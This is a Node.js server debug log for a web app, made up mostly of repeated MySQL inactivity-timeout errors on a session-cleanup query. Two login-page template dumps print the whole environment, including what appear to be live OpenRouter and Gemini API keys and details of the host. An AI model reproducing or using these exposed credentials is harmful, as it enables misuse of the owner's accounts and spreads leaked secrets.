  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 13:28:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 13:43:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 13:43:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 14:09:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 14:09:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 14:53:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 14:53:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 17:53:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 17:53:42' as DATETIME)"
}
2026-01-02T17:55:00.665Z server-connect:router Serving templateView /
2026-01-02T17:55:00.667Z server-connect:app Executing action step identify
2026-01-02T17:55:00.667Z server-connect:app options: { provider: 'security' }
2026-01-02T17:55:00.667Z server-connect:auth No login cookie found
2026-01-02T17:55:00.667Z server-connect:output identity: false
2026-01-02T17:55:00.667Z server-connect:app Executing action step restrict
2026-01-02T17:55:00.667Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-02T17:55:00.668Z server-connect:output restrict: undefined
2026-01-02T18:33:11.379Z server-connect:router Serving templateView /
2026-01-02T18:33:11.379Z server-connect:app Executing action step identify
2026-01-02T18:33:11.379Z server-connect:app options: { provider: 'security' }
2026-01-02T18:33:11.379Z server-connect:auth No login cookie found
2026-01-02T18:33:11.379Z server-connect:output identity: false
2026-01-02T18:33:11.379Z server-connect:app Executing action step restrict
2026-01-02T18:33:11.379Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-02T18:33:11.380Z server-connect:output restrict: undefined
2026-01-02T18:33:11.709Z server-connect:router Serving templateView /login
2026-01-02T18:33:11.709Z server-connect:app Executing action step identify
2026-01-02T18:33:11.709Z server-connect:app options: { provider: 'security' }
2026-01-02T18:33:11.710Z server-connect:auth No login cookie found
2026-01-02T18:33:11.710Z server-connect:output identity: false
2026-01-02T18:33:11.710Z server-connect:router Render template layouts/authentication
2026-01-02T18:33:11.710Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    xxxxxxxxxx: 'close',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '134.209.46.77',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-03T18:33:11.709Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '134.209.46.77',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '134.209.46.77',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 19:03:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 19:03:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 19:17:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 19:17:21' as DATETIME)"
}
2026-01-02T21:19:06.893Z server-connect:router Serving templateView /login
2026-01-02T21:19:06.894Z server-connect:app Executing action step identify
2026-01-02T21:19:06.895Z server-connect:app options: { provider: 'security' }
2026-01-02T21:19:06.895Z server-connect:auth No login cookie found
2026-01-02T21:19:06.895Z server-connect:output identity: false
2026-01-02T21:19:06.895Z server-connect:router Render template layouts/authentication
2026-01-02T21:19:06.896Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="101", "Microsoft Edge";v="101"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'x-forwarded-for': '174.138.50.65',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-03T21:19:06.892Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '174.138.50.65',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '" Not A;Brand";v="99", "Chromium";v="101", "Microsoft Edge";v="101"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_X_FORWARDED-FOR': '174.138.50.65',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 22:32:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 22:32:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 22:48:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 22:48:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 02:09:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 02:09:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 03:09:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 03:09:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 04:23:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 04:23:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 04:33:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 04:33:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-03 04:51:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-03 04:51:23' as DATETIME)"
}
2026-01-03T06:07:04.014Z server-connect:router Serving templateView /
2026-01-03T06:07:04.015Z server-connect:app Executing action step identify
2026-01-03T06:07:04.015Z server-connect:app options: { provider: 'security' }
